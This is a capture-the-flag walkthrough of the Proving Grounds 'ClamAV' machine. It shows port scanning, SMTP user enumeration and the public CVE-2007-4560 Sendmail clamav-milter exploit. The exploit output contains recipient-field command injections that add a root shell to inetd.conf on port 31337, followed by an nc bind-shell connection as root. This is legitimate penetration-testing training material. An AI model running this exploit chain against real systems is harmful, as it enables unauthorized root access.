ClamAV — Proving Grounds (192.168.117.42)

javascript

#proving grounds#pg#walkthrough#boxes#os:linux#tech:cve

ClamAV — Proving Grounds (192.168.117.42)

Information Gathering

🐺 howlsec@kalijavascript

01#Port Enumeration
02rustscan -a 192.168.117.42 -- -A
03 
04PORT      STATE SERVICE     REASON         VERSION
0522/tcp    open  ssh         OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)
0625/tcp    open  smtp        Sendmail 8.13.4/8.13.4/Debian-3sarge3
0780/tcp    open  http        Apache httpd 1.3.33 ((Debian GNU/Linux))
08139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
09199/tcp   open  smux        Linux SNMP multiplexer
10445/tcp   open  netbios-ssn Samba smbd 3.0.14a-Debian (workgroup: WORKGROUP)
1160000/tcp open  ssh         OpenSSH 3.8.1p1 Debian 8.sarge.6 (protocol 2.0)

SMTP (25) {toggle="true"}

🐺 howlsec@kalicode

01```javascript

#User Enumeration smtp-user-enum -M VRFY -U /opt/metasploit-framework/embedded/framework/data/wordlists/unix_users.txt -t 192.168.117.42 192.168.117.42: backup exists 192.168.117.42: root exists 192.168.117.42: www-data exists 24 results. ```

Initial Foothold

🐺 howlsec@kalijavascript

01searchsploit clamav
02Sendmail with clamav-milter < 0.91.2 - Remote Command Execution  | multiple/remote/4761.pl
03searchsploit -m multiple/remote/4761.pl
04  Codes: CVE-2007-4560
05perl 4761.pl 192.168.117.42
06Sendmail w/ clamav-milter Remote Root Exploit
07Attacking 192.168.117.42...
08250 2.1.5 <nobody+"|echo '31337 stream tcp nowait root /bin/sh -i' >> /etc/inetd.conf">... Recipient ok
09250 2.1.5 <nobody+"|/etc/init.d/inetd restart">... Recipient ok
10250 2.0.0 Message accepted for delivery

Privesc

🐺 howlsec@kalijavascript

01nc 192.168.117.42 31337
02whoami
03root
04cd /root
05cat proof.txt
06726f90b8aa2edab2b828315a15ee547b